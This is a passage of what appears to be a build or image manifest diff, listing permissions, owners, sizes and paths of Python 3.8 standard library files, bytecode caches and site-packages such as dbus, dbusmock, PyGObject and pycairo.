+-rw-r--r-- root root 22848 ./usr/lib/python3.8/__pycache__/threading.cpython-38.opt-2.pyc
+-rw-r--r-- root root 39976 ./usr/lib/python3.8/__pycache__/threading.cpython-38.pyc
+-rw-r--r-- root root 6446 ./usr/lib/python3.8/__pycache__/_threading_local.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3126 ./usr/lib/python3.8/__pycache__/_threading_local.cpython-38.opt-2.pyc
+-rw-r--r-- root root 6446 ./usr/lib/python3.8/__pycache__/_threading_local.cpython-38.pyc
+-rw-r--r-- root root 2485 ./usr/lib/python3.8/__pycache__/token.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2452 ./usr/lib/python3.8/__pycache__/token.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2485 ./usr/lib/python3.8/__pycache__/token.cpython-38.pyc
+-rw-r--r-- root root 17116 ./usr/lib/python3.8/__pycache__/tokenize.cpython-38.opt-1.pyc
+-rw-r--r-- root root 13352 ./usr/lib/python3.8/__pycache__/tokenize.cpython-38.opt-2.pyc
+-rw-r--r-- root root 17160 ./usr/lib/python3.8/__pycache__/tokenize.cpython-38.pyc
+-rw-r--r-- root root 19889 ./usr/lib/python3.8/__pycache__/traceback.cpython-38.opt-1.pyc
+-rw-r--r-- root root 10986 ./usr/lib/python3.8/__pycache__/traceback.cpython-38.opt-2.pyc
+-rw-r--r-- root root 19889 ./usr/lib/python3.8/__pycache__/traceback.cpython-38.pyc
+-rw-r--r-- root root 9177 ./usr/lib/python3.8/__pycache__/types.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7955 ./usr/lib/python3.8/__pycache__/types.cpython-38.opt-2.pyc
+-rw-r--r-- root root 9177 ./usr/lib/python3.8/__pycache__/types.cpython-38.pyc
+-rw-r--r-- root root 3605 ./usr/lib/python3.8/__pycache__/uu.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3361 ./usr/lib/python3.8/__pycache__/uu.cpython-38.opt-2.pyc
+-rw-r--r-- root root 3605 ./usr/lib/python3.8/__pycache__/uu.cpython-38.pyc
+-rw-r--r-- root root 23532 ./usr/lib/python3.8/__pycache__/uuid.cpython-38.opt-1.pyc
+-rw-r--r-- root root 16376 ./usr/lib/python3.8/__pycache__/uuid.cpython-38.opt-2.pyc
+-rw-r--r-- root root 23666 ./usr/lib/python3.8/__pycache__/uuid.cpython-38.pyc
+-rw-r--r-- root root 13192 ./usr/lib/python3.8/__pycache__/warnings.cpython-38.opt-1.pyc
+-rw-r--r-- root root 10917 ./usr/lib/python3.8/__pycache__/warnings.cpython-38.opt-2.pyc
+-rw-r--r-- root root 13652 ./usr/lib/python3.8/__pycache__/warnings.cpython-38.pyc
+-rw-r--r-- root root 19488 ./usr/lib/python3.8/__pycache__/weakref.cpython-38.opt-1.pyc
+-rw-r--r-- root root 16204 ./usr/lib/python3.8/__pycache__/weakref.cpython-38.opt-2.pyc
+-rw-r--r-- root root 19518 ./usr/lib/python3.8/__pycache__/weakref.cpython-38.pyc
+-rw-r--r-- root root 7600 ./usr/lib/python3.8/__pycache__/_weakrefset.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7600 ./usr/lib/python3.8/__pycache__/_weakrefset.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7600 ./usr/lib/python3.8/__pycache__/_weakrefset.cpython-38.pyc
+-rw-r--r-- root root 58420 ./usr/lib/python3.8/__pycache__/zipfile.cpython-38.opt-1.pyc
+-rw-r--r-- root root 49731 ./usr/lib/python3.8/__pycache__/zipfile.cpython-38.opt-2.pyc
+-rw-r--r-- root root 58457 ./usr/lib/python3.8/__pycache__/zipfile.cpython-38.pyc
+-rw-r--r-- root root 93177 ./usr/lib/python3.8/_pyio.py
+-rw-r--r-- root root 11356 ./usr/lib/python3.8/queue.py
+-rwxr-xr-x root root 7254 ./usr/lib/python3.8/quopri.py
+-rw-r--r-- root root 28802 ./usr/lib/python3.8/random.py
+-rw-r--r-- root root 5267 ./usr/lib/python3.8/reprlib.py
+-rw-r--r-- root root 15861 ./usr/lib/python3.8/re.py
+-rw-r--r-- root root 7097 ./usr/lib/python3.8/rlcompleter.py
+-rw-r--r-- root root 12052 ./usr/lib/python3.8/runpy.py
+-rw-r--r-- root root 18561 ./usr/lib/python3.8/selectors.py
+-rw-r--r-- root root 8527 ./usr/lib/python3.8/shelve.py
+-rw-r--r-- root root 13325 ./usr/lib/python3.8/shlex.py
+-rw-r--r-- root root 50752 ./usr/lib/python3.8/shutil.py
+-rw-r--r-- root root 2273 ./usr/lib/python3.8/signal.py
+-rw-r--r-- root root 3115 ./usr/lib/python3.8/_sitebuiltins.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/site-packages
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/site-packages/btrfsutil-1.2.0-py3.8.egg-info
+-rw-r--r-- root root 1 ./usr/lib/python3.8/site-packages/btrfsutil-1.2.0-py3.8.egg-info/dependency_links.txt
+-rw-r--r-- root root 242 ./usr/lib/python3.8/site-packages/btrfsutil-1.2.0-py3.8.egg-info/PKG-INFO
+-rw-r--r-- root root 203 ./usr/lib/python3.8/site-packages/btrfsutil-1.2.0-py3.8.egg-info/SOURCES.txt
+-rw-r--r-- root root 10 ./usr/lib/python3.8/site-packages/btrfsutil-1.2.0-py3.8.egg-info/top_level.txt
+-rwxr-xr-x root root 45936 ./usr/lib/python3.8/site-packages/btrfsutil.cpython-38-x86_64-linux-gnu.so
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/site-packages/cairo
+-rwxr-xr-x root root 220616 ./usr/lib/python3.8/site-packages/cairo/_cairo.cpython-38-x86_64-linux-gnu.so
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/site-packages/cairo/include
+-rw-r--r-- root root 9152 ./usr/lib/python3.8/site-packages/cairo/include/py3cairo.h
+-rwxr-xr-x root root 660 ./usr/lib/python3.8/site-packages/cairo/__init__.py
+-rw-r--r-- root root 33334 ./usr/lib/python3.8/site-packages/cairo/__init__.pyi
+-rw-r--r-- root root 0 ./usr/lib/python3.8/site-packages/cairo/py.typed
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/site-packages/dbus
+-rwxr-xr-x root root 167752 ./usr/lib/python3.8/site-packages/_dbus_bindings.so
+-rw-r--r-- root root 17960 ./usr/lib/python3.8/site-packages/dbus/bus.py
+-rw-r--r-- root root 148 ./usr/lib/python3.8/site-packages/dbus/_compat.py
+-rw-r--r-- root root 27806 ./usr/lib/python3.8/site-packages/dbus/connection.py
+-rw-r--r-- root root 8837 ./usr/lib/python3.8/site-packages/dbus/_dbus.py
+-rw-r--r-- root root 15240 ./usr/lib/python3.8/site-packages/dbus/decorators.py
+-rw-r--r-- root root 4707 ./usr/lib/python3.8/site-packages/dbus/exceptions.py
+-rw-r--r-- root root 3409 ./usr/lib/python3.8/site-packages/dbus/_expat_introspect_parser.py
+-rw-r--r-- root root 3517 ./usr/lib/python3.8/site-packages/dbus/gi_service.py
+-rwxr-xr-x root root 22736 ./usr/lib/python3.8/site-packages/_dbus_glib_bindings.so
+-rw-r--r-- root root 2130 ./usr/lib/python3.8/site-packages/dbus/glib.py
+-rw-r--r-- root root 3756 ./usr/lib/python3.8/site-packages/dbus/__init__.py
+-rw-r--r-- root root 1864 ./usr/lib/python3.8/site-packages/dbus/lowlevel.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/site-packages/dbus/mainloop
+-rw-r--r-- root root 1806 ./usr/lib/python3.8/site-packages/dbus/mainloop/glib.py
+-rw-r--r-- root root 2369 ./usr/lib/python3.8/site-packages/dbus/mainloop/__init__.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/site-packages/dbus/mainloop/__pycache__
+-rw-r--r-- root root 655 ./usr/lib/python3.8/site-packages/dbus/mainloop/__pycache__/glib.cpython-38.opt-1.pyc
+-rw-r--r-- root root 655 ./usr/lib/python3.8/site-packages/dbus/mainloop/__pycache__/glib.cpython-38.pyc
+-rw-r--r-- root root 435 ./usr/lib/python3.8/site-packages/dbus/mainloop/__pycache__/__init__.cpython-38.opt-1.pyc
+-rw-r--r-- root root 435 ./usr/lib/python3.8/site-packages/dbus/mainloop/__pycache__/__init__.cpython-38.pyc
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/site-packages/dbusmock
+-rw-r--r-- root root 856 ./usr/lib/python3.8/site-packages/dbusmock/__init__.py
+-rw-r--r-- root root 4533 ./usr/lib/python3.8/site-packages/dbusmock/__main__.py
+-rw-r--r-- root root 28848 ./usr/lib/python3.8/site-packages/dbusmock/mockobject.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/site-packages/dbusmock/__pycache__
+-rw-r--r-- root root 641 ./usr/lib/python3.8/site-packages/dbusmock/__pycache__/__init__.cpython-38.pyc
+-rw-r--r-- root root 3142 ./usr/lib/python3.8/site-packages/dbusmock/__pycache__/__main__.cpython-38.pyc
+-rw-r--r-- root root 22372 ./usr/lib/python3.8/site-packages/dbusmock/__pycache__/mockobject.cpython-38.pyc
+-rw-r--r-- root root 7903 ./usr/lib/python3.8/site-packages/dbusmock/__pycache__/testcase.cpython-38.pyc
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/site-packages/dbusmock/templates
+-rw-r--r-- root root 16490 ./usr/lib/python3.8/site-packages/dbusmock/templates/bluez4.py
+-rw-r--r-- root root 10784 ./usr/lib/python3.8/site-packages/dbusmock/templates/bluez5-obex.py
+-rw-r--r-- root root 15264 ./usr/lib/python3.8/site-packages/dbusmock/templates/bluez5.py
+-rw-r--r-- root root 1250 ./usr/lib/python3.8/site-packages/dbusmock/templates/gnome_screensaver.py
+-rw-r--r-- root root 382 ./usr/lib/python3.8/site-packages/dbusmock/templates/__init__.py
+-rw-r--r-- root root 10765 ./usr/lib/python3.8/site-packages/dbusmock/templates/logind.py
+-rw-r--r-- root root 1139 ./usr/lib/python3.8/site-packages/dbusmock/templates/low_memory_monitor.py
+-rw-r--r-- root root 34680 ./usr/lib/python3.8/site-packages/dbusmock/templates/networkmanager.py
+-rw-r--r-- root root 1777 ./usr/lib/python3.8/site-packages/dbusmock/templates/notification_daemon.py
+-rw-r--r-- root root 18046 ./usr/lib/python3.8/site-packages/dbusmock/templates/ofono.py
+-rw-r--r-- root root 2089 ./usr/lib/python3.8/site-packages/dbusmock/templates/polkitd.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/site-packages/dbusmock/templates/__pycache__
+-rw-r--r-- root root 10255 ./usr/lib/python3.8/site-packages/dbusmock/templates/__pycache__/bluez4.cpython-38.pyc
+-rw-r--r-- root root 9287 ./usr/lib/python3.8/site-packages/dbusmock/templates/__pycache__/bluez5.cpython-38.pyc
+-rw-r--r-- root root 7996 ./usr/lib/python3.8/site-packages/dbusmock/templates/__pycache__/bluez5-obex.cpython-38.pyc
+-rw-r--r-- root root 1052 ./usr/lib/python3.8/site-packages/dbusmock/templates/__pycache__/gnome_screensaver.cpython-38.pyc
+-rw-r--r-- root root 206 ./usr/lib/python3.8/site-packages/dbusmock/templates/__pycache__/__init__.cpython-38.pyc
+-rw-r--r-- root root 6563 ./usr/lib/python3.8/site-packages/dbusmock/templates/__pycache__/logind.cpython-38.pyc
+-rw-r--r-- root root 1111 ./usr/lib/python3.8/site-packages/dbusmock/templates/__pycache__/low_memory_monitor.cpython-38.pyc
+-rw-r--r-- root root 23374 ./usr/lib/python3.8/site-packages/dbusmock/templates/__pycache__/networkmanager.cpython-38.pyc
+-rw-r--r-- root root 1419 ./usr/lib/python3.8/site-packages/dbusmock/templates/__pycache__/notification_daemon.cpython-38.pyc
+-rw-r--r-- root root 9250 ./usr/lib/python3.8/site-packages/dbusmock/templates/__pycache__/ofono.cpython-38.pyc
+-rw-r--r-- root root 1890 ./usr/lib/python3.8/site-packages/dbusmock/templates/__pycache__/polkitd.cpython-38.pyc
+-rw-r--r-- root root 1342 ./usr/lib/python3.8/site-packages/dbusmock/templates/__pycache__/timedated.cpython-38.pyc
+-rw-r--r-- root root 6843 ./usr/lib/python3.8/site-packages/dbusmock/templates/__pycache__/upower.cpython-38.pyc
+-rw-r--r-- root root 2520 ./usr/lib/python3.8/site-packages/dbusmock/templates/__pycache__/urfkill.cpython-38.pyc
+-rw-r--r-- root root 1796 ./usr/lib/python3.8/site-packages/dbusmock/templates/timedated.py
+-rw-r--r-- root root 10801 ./usr/lib/python3.8/site-packages/dbusmock/templates/upower.py
+-rw-r--r-- root root 3709 ./usr/lib/python3.8/site-packages/dbusmock/templates/urfkill.py
+-rw-r--r-- root root 9445 ./usr/lib/python3.8/site-packages/dbusmock/testcase.py
+-rw-r--r-- root root 24821 ./usr/lib/python3.8/site-packages/dbus/proxies.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/site-packages/dbus/__pycache__
+-rw-r--r-- root root 13609 ./usr/lib/python3.8/site-packages/dbus/__pycache__/bus.cpython-38.opt-1.pyc
+-rw-r--r-- root root 13609 ./usr/lib/python3.8/site-packages/dbus/__pycache__/bus.cpython-38.pyc
+-rw-r--r-- root root 218 ./usr/lib/python3.8/site-packages/dbus/__pycache__/_compat.cpython-38.opt-1.pyc
+-rw-r--r-- root root 218 ./usr/lib/python3.8/site-packages/dbus/__pycache__/_compat.cpython-38.pyc
+-rw-r--r-- root root 17806 ./usr/lib/python3.8/site-packages/dbus/__pycache__/connection.cpython-38.opt-1.pyc
+-rw-r--r-- root root 17806 ./usr/lib/python3.8/site-packages/dbus/__pycache__/connection.cpython-38.pyc
+-rw-r--r-- root root 7385 ./usr/lib/python3.8/site-packages/dbus/__pycache__/_dbus.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7385 ./usr/lib/python3.8/site-packages/dbus/__pycache__/_dbus.cpython-38.pyc
+-rw-r--r-- root root 11569 ./usr/lib/python3.8/site-packages/dbus/__pycache__/decorators.cpython-38.opt-1.pyc
+-rw-r--r-- root root 11569 ./usr/lib/python3.8/site-packages/dbus/__pycache__/decorators.cpython-38.pyc
+-rw-r--r-- root root 3916 ./usr/lib/python3.8/site-packages/dbus/__pycache__/exceptions.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3916 ./usr/lib/python3.8/site-packages/dbus/__pycache__/exceptions.cpython-38.pyc
+-rw-r--r-- root root 2206 ./usr/lib/python3.8/site-packages/dbus/__pycache__/_expat_introspect_parser.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2206 ./usr/lib/python3.8/site-packages/dbus/__pycache__/_expat_introspect_parser.cpython-38.pyc
+-rw-r--r-- root root 1954 ./usr/lib/python3.8/site-packages/dbus/__pycache__/gi_service.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1954 ./usr/lib/python3.8/site-packages/dbus/__pycache__/gi_service.cpython-38.pyc
+-rw-r--r-- root root 1018 ./usr/lib/python3.8/site-packages/dbus/__pycache__/glib.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1018 ./usr/lib/python3.8/site-packages/dbus/__pycache__/glib.cpython-38.pyc
+-rw-r--r-- root root 2185 ./usr/lib/python3.8/site-packages/dbus/__pycache__/__init__.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2185 ./usr/lib/python3.8/site-packages/dbus/__pycache__/__init__.cpython-38.pyc
+-rw-r--r-- root root 677 ./usr/lib/python3.8/site-packages/dbus/__pycache__/lowlevel.cpython-38.opt-1.pyc
+-rw-r--r-- root root 677 ./usr/lib/python3.8/site-packages/dbus/__pycache__/lowlevel.cpython-38.pyc
+-rw-r--r-- root root 17730 ./usr/lib/python3.8/site-packages/dbus/__pycache__/proxies.cpython-38.opt-1.pyc
+-rw-r--r-- root root 17730 ./usr/lib/python3.8/site-packages/dbus/__pycache__/proxies.cpython-38.pyc
+-rw-r--r-- root root 3462 ./usr/lib/python3.8/site-packages/dbus/__pycache__/server.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3462 ./usr/lib/python3.8/site-packages/dbus/__pycache__/server.cpython-38.pyc
+-rw-r--r-- root root 22086 ./usr/lib/python3.8/site-packages/dbus/__pycache__/service.cpython-38.opt-1.pyc
+-rw-r--r-- root root 22086 ./usr/lib/python3.8/site-packages/dbus/__pycache__/service.cpython-38.pyc
+-rw-r--r-- root root 730 ./usr/lib/python3.8/site-packages/dbus/__pycache__/types.cpython-38.opt-1.pyc
+-rw-r--r-- root root 730 ./usr/lib/python3.8/site-packages/dbus/__pycache__/types.cpython-38.pyc
+-rw-r--r-- root root 4657 ./usr/lib/python3.8/site-packages/dbus/server.py
+-rw-r--r-- root root 35473 ./usr/lib/python3.8/site-packages/dbus/service.py
+-rw-r--r-- root root 561 ./usr/lib/python3.8/site-packages/dbus/types.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/site-packages/gi
+-rw-r--r-- root root 1493 ./usr/lib/python3.8/site-packages/gi/_compat.py
+-rw-r--r-- root root 1969 ./usr/lib/python3.8/site-packages/gi/_constants.py
+-rw-r--r-- root root 6688 ./usr/lib/python3.8/site-packages/gi/docstring.py
+-rw-r--r-- root root 2082 ./usr/lib/python3.8/site-packages/gi/_error.py
+-rwxr-xr-x root root 22488 ./usr/lib/python3.8/site-packages/gi/_gi_cairo.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 344488 ./usr/lib/python3.8/site-packages/gi/_gi.cpython-38-x86_64-linux-gnu.so
+-rw-r--r-- root root 7833 ./usr/lib/python3.8/site-packages/gi/_gtktemplate.py
+-rw-r--r-- root root 5280 ./usr/lib/python3.8/site-packages/gi/importer.py
+-rw-r--r-- root root 5894 ./usr/lib/python3.8/site-packages/gi/__init__.py
+-rw-r--r-- root root 9705 ./usr/lib/python3.8/site-packages/gi/module.py
+-rw-r--r-- root root 13192 ./usr/lib/python3.8/site-packages/gi/_option.py
+-rw-r--r-- root root 8083 ./usr/lib/python3.8/site-packages/gi/_ossighelper.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/site-packages/gi/overrides
+-rw-r--r-- root root 1724 ./usr/lib/python3.8/site-packages/gi/overrides/GdkPixbuf.py
+-rw-r--r-- root root 16239 ./usr/lib/python3.8/site-packages/gi/overrides/Gdk.py
+-rw-r--r-- root root 2242 ./usr/lib/python3.8/site-packages/gi/overrides/GIMarshallingTests.py
+-rw-r--r-- root root 19033 ./usr/lib/python3.8/site-packages/gi/overrides/Gio.py
+-rw-r--r-- root root 29897 ./usr/lib/python3.8/site-packages/gi/overrides/GLib.py
+-rw-r--r-- root root 24640 ./usr/lib/python3.8/site-packages/gi/overrides/GObject.py
+-rw-r--r-- root root 59669 ./usr/lib/python3.8/site-packages/gi/overrides/Gtk.py
+-rw-r--r-- root root 12590 ./usr/lib/python3.8/site-packages/gi/overrides/__init__.py
+-rw-r--r-- root root 1705 ./usr/lib/python3.8/site-packages/gi/overrides/keysyms.py
+-rw-r--r-- root root 1774 ./usr/lib/python3.8/site-packages/gi/overrides/Pango.py
+-rw-r--r-- root root 14331 ./usr/lib/python3.8/site-packages/gi/_propertyhelper.py
+-rw-r--r-- root root 766 ./usr/lib/python3.8/site-packages/gi/pygtkcompat.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/site-packages/gi/repository
+-rw-r--r-- root root 1042 ./usr/lib/python3.8/site-packages/gi/repository/__init__.py
+-rw-r--r-- root root 9303 ./usr/lib/python3.8/site-packages/gi/_signalhelper.py
+-rw-r--r-- root root 14330 ./usr/lib/python3.8/site-packages/gi/types.py
+-rw-r--r-- root root 1024 ./usr/lib/python3.8/site-packages/pycairo-1.19.1.egg-info
+-rw-r--r-- root root 810 ./usr/lib/python3.8/site-packages/PyGObject-3.36.1.egg-info
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/site-packages/pygtkcompat
+-rw-r--r-- root root 14200 ./usr/lib/python3.8/site-packages/pygtkcompat/generictreemodel.py
+-rw-r--r-- root root 547 ./usr/lib/python3.8/site-packages/pygtkcompat/__init__.py
+-rw-r--r-- root root 20890 ./usr/lib/python3.8/site-packages/pygtkcompat/pygtkcompat.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/site-packages/python_dbusmock-0.19-py3.8.egg-info
+-rw-r--r-- root root 1 ./usr/lib/python3.8/site-packages/python_dbusmock-0.19-py3.8.egg-info/dependency_links.txt
+-rw-r--r-- root root 14631 ./usr/lib/python3.8/site-packages/python_dbusmock-0.19-py3.8.egg-info/PKG-INFO
+-rw-r--r-- root root 1137 ./usr/lib/python3.8/site-packages/python_dbusmock-0.19-py3.8.egg-info/SOURCES.txt
+-rw-r--r-- root root 9 ./usr/lib/python3.8/site-packages/python_dbusmock-0.19-py3.8.egg-info/top_level.txt
+-rw-r--r-- root root 21342 ./usr/lib/python3.8/site.py
+-rwxr-xr-x root root 44328 ./usr/lib/python3.8/smtplib.py
+-rw-r--r-- root root 35243 ./usr/lib/python3.8/socket.py
+-rw-r--r-- root root 26695 ./usr/lib/python3.8/sre_compile.py
+-rw-r--r-- root root 7154 ./usr/lib/python3.8/sre_constants.py
+-rw-r--r-- root root 40230 ./usr/lib/python3.8/sre_parse.py
+-rw-r--r-- root root 50760 ./usr/lib/python3.8/ssl.py
+-rw-r--r-- root root 5485 ./usr/lib/python3.8/stat.py
+-rw-r--r-- root root 12917 ./usr/lib/python3.8/stringprep.py
+-rw-r--r-- root root 10535 ./usr/lib/python3.8/string.py
+-rw-r--r-- root root 25268 ./usr/lib/python3.8/_strptime.py
+-rw-r--r-- root root 257 ./usr/lib/python3.8/struct.py
+-rw-r--r-- root root 77289 ./usr/lib/python3.8/subprocess.py
+-rw-r--r-- root root 2109 ./usr/lib/python3.8/symbol.py
+-rw-r--r-- root root 26693 ./usr/lib/python3.8/_sysconfigdata__linux_x86_64-linux-gnu.py
+-rw-r--r-- root root 24339 ./usr/lib/python3.8/sysconfig.py
+-rwxr-xr-x root root 93575 ./usr/lib/python3.8/tarfile.py
+-rw-r--r-- root root 23254 ./usr/lib/python3.8/telnetlib.py
+-rw-r--r-- root root 27595 ./usr/lib/python3.8/tempfile.py
+-rw-r--r-- root root 19407 ./usr/lib/python3.8/textwrap.py
+-rw-r--r-- root root 7220 ./usr/lib/python3.8/_threading_local.py
+-rw-r--r-- root root 50820 ./usr/lib/python3.8/threading.py
+-rw-r--r-- root root 25841 ./usr/lib/python3.8/tokenize.py
+-rw-r--r-- root root 2368 ./usr/lib/python3.8/token.py
+-rw-r--r-- root root 23478 ./usr/lib/python3.8/traceback.py
+-rw-r--r-- root root 9713 ./usr/lib/python3.8/types.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/urllib
+-rw-r--r-- root root 2632 ./usr/lib/python3.8/urllib/error.py
+-rw-r--r-- root root 0 ./usr/lib/python3.8/urllib/__init__.py
+-rw-r--r-- root root 41583 ./usr/lib/python3.8/urllib/parse.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/urllib/__pycache__
+-rw-r--r-- root root 2809 ./usr/lib/python3.8/urllib/__pycache__/error.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2134 ./usr/lib/python3.8/urllib/__pycache__/error.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2809 ./usr/lib/python3.8/urllib/__pycache__/error.cpython-38.pyc
+-rw-r--r-- root root 128 ./usr/lib/python3.8/urllib/__pycache__/__init__.cpython-38.opt-1.pyc
+-rw-r--r-- root root 128 ./usr/lib/python3.8/urllib/__pycache__/__init__.cpython-38.opt-2.pyc
+-rw-r--r-- root root 128 ./usr/lib/python3.8/urllib/__pycache__/__init__.cpython-38.pyc
+-rw-r--r-- root root 33932 ./usr/lib/python3.8/urllib/__pycache__/parse.cpython-38.opt-1.pyc
+-rw-r--r-- root root 24496 ./usr/lib/python3.8/urllib/__pycache__/parse.cpython-38.opt-2.pyc
+-rw-r--r-- root root 33932 ./usr/lib/python3.8/urllib/__pycache__/parse.cpython-38.pyc
+-rw-r--r-- root root 72417 ./usr/lib/python3.8/urllib/__pycache__/request.cpython-38.opt-1.pyc
+-rw-r--r-- root root 60124 ./usr/lib/python3.8/urllib/__pycache__/request.cpython-38.opt-2.pyc
+-rw-r--r-- root root 72531 ./usr/lib/python3.8/urllib/__pycache__/request.cpython-38.pyc
+-rw-r--r-- root root 3289 ./usr/lib/python3.8/urllib/__pycache__/response.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2710 ./usr/lib/python3.8/urllib/__pycache__/response.cpython-38.opt-2.pyc
+-rw-r--r-- root root 3289 ./usr/lib/python3.8/urllib/__pycache__/response.cpython-38.pyc
+-rw-r--r-- root root 7327 ./usr/lib/python3.8/urllib/__pycache__/robotparser.cpython-38.opt-1.pyc
+-rw-r--r-- root root 5959 ./usr/lib/python3.8/urllib/__pycache__/robotparser.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7327 ./usr/lib/python3.8/urllib/__pycache__/robotparser.cpython-38.pyc
+-rw-r--r-- root root 101308 ./usr/lib/python3.8/urllib/request.py
+-rw-r--r-- root root 2299 ./usr/lib/python3.8/urllib/response.py
+-rw-r--r-- root root 9424 ./usr/lib/python3.8/urllib/robotparser.py
+-rw-r--r-- root root 30394 ./usr/lib/python3.8/uuid.py
+-rwxr-xr-x root root 6959 ./usr/lib/python3.8/uu.py
+-rw-r--r-- root root 19688 ./usr/lib/python3.8/warnings.py
+-rw-r--r-- root root 21387 ./usr/lib/python3.8/weakref.py
+-rw-r--r-- root root 5735 ./usr/lib/python3.8/_weakrefset.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/xml
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/xml/dom
+-rw-r--r-- root root 3451 ./usr/lib/python3.8/xml/dom/domreg.py
+-rw-r--r-- root root 35756 ./usr/lib/python3.8/xml/dom/expatbuilder.py
+-rw-r--r-- root root 4019 ./usr/lib/python3.8/xml/dom/__init__.py
+-rw-r--r-- root root 3367 ./usr/lib/python3.8/xml/dom/minicompat.py
+-rw-r--r-- root root 66857 ./usr/lib/python3.8/xml/dom/minidom.py
+-rw-r--r-- root root 936 ./usr/lib/python3.8/xml/dom/NodeFilter.py
+-rw-r--r-- root root 11997 ./usr/lib/python3.8/xml/dom/pulldom.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/xml/dom/__pycache__
+-rw-r--r-- root root 2850 ./usr/lib/python3.8/xml/dom/__pycache__/domreg.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1648 ./usr/lib/python3.8/xml/dom/__pycache__/domreg.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2850 ./usr/lib/python3.8/xml/dom/__pycache__/domreg.cpython-38.pyc
+-rw-r--r-- root root 26806 ./usr/lib/python3.8/xml/dom/__pycache__/expatbuilder.cpython-38.opt-1.pyc
+-rw-r--r-- root root 24201 ./usr/lib/python3.8/xml/dom/__pycache__/expatbuilder.cpython-38.opt-2.pyc
+-rw-r--r-- root root 27341 ./usr/lib/python3.8/xml/dom/__pycache__/expatbuilder.cpython-38.pyc
+-rw-r--r-- root root 5530 ./usr/lib/python3.8/xml/dom/__pycache__/__init__.cpython-38.opt-1.pyc
+-rw-r--r-- root root 4735 ./usr/lib/python3.8/xml/dom/__pycache__/__init__.cpython-38.opt-2.pyc
+-rw-r--r-- root root 5530 ./usr/lib/python3.8/xml/dom/__pycache__/__init__.cpython-38.pyc
+-rw-r--r-- root root 2650 ./usr/lib/python3.8/xml/dom/__pycache__/minicompat.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2472 ./usr/lib/python3.8/xml/dom/__pycache__/minicompat.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2742 ./usr/lib/python3.8/xml/dom/__pycache__/minicompat.cpython-38.pyc
+-rw-r--r-- root root 55272 ./usr/lib/python3.8/xml/dom/__pycache__/minidom.cpython-38.opt-1.pyc
+-rw-r--r-- root root 53701 ./usr/lib/python3.8/xml/dom/__pycache__/minidom.cpython-38.opt-2.pyc
+-rw-r--r-- root root 55374 ./usr/lib/python3.8/xml/dom/__pycache__/minidom.cpython-38.pyc
+-rw-r--r-- root root 967 ./usr/lib/python3.8/xml/dom/__pycache__/NodeFilter.cpython-38.opt-1.pyc
+-rw-r--r-- root root 874 ./usr/lib/python3.8/xml/dom/__pycache__/NodeFilter.cpython-38.opt-2.pyc
+-rw-r--r-- root root 967 ./usr/lib/python3.8/xml/dom/__pycache__/NodeFilter.cpython-38.pyc
+-rw-r--r-- root root 10691 ./usr/lib/python3.8/xml/dom/__pycache__/pulldom.cpython-38.opt-1.pyc
+-rw-r--r-- root root 10255 ./usr/lib/python3.8/xml/dom/__pycache__/pulldom.cpython-38.opt-2.pyc
+-rw-r--r-- root root 10691 ./usr/lib/python3.8/xml/dom/__pycache__/pulldom.cpython-38.pyc
+-rw-r--r-- root root 12464 ./usr/lib/python3.8/xml/dom/__pycache__/xmlbuilder.cpython-38.opt-1.pyc
+-rw-r--r-- root root 12035 ./usr/lib/python3.8/xml/dom/__pycache__/xmlbuilder.cpython-38.opt-2.pyc
+-rw-r--r-- root root 12494 ./usr/lib/python3.8/xml/dom/__pycache__/xmlbuilder.cpython-38.pyc
+-rw-r--r-- root root 12403 ./usr/lib/python3.8/xml/dom/xmlbuilder.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/xml/etree
+-rw-r--r-- root root 82 ./usr/lib/python3.8/xml/etree/cElementTree.py
+-rw-r--r-- root root 5151 ./usr/lib/python3.8/xml/etree/ElementInclude.py
+-rw-r--r-- root root 13118 ./usr/lib/python3.8/xml/etree/ElementPath.py
+-rw-r--r-- root root 72728 ./usr/lib/python3.8/xml/etree/ElementTree.py
+-rw-r--r-- root root 1604 ./usr/lib/python3.8/xml/etree/__init__.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/xml/etree/__pycache__
+-rw-r--r-- root root 173 ./usr/lib/python3.8/xml/etree/__pycache__/cElementTree.cpython-38.opt-1.pyc
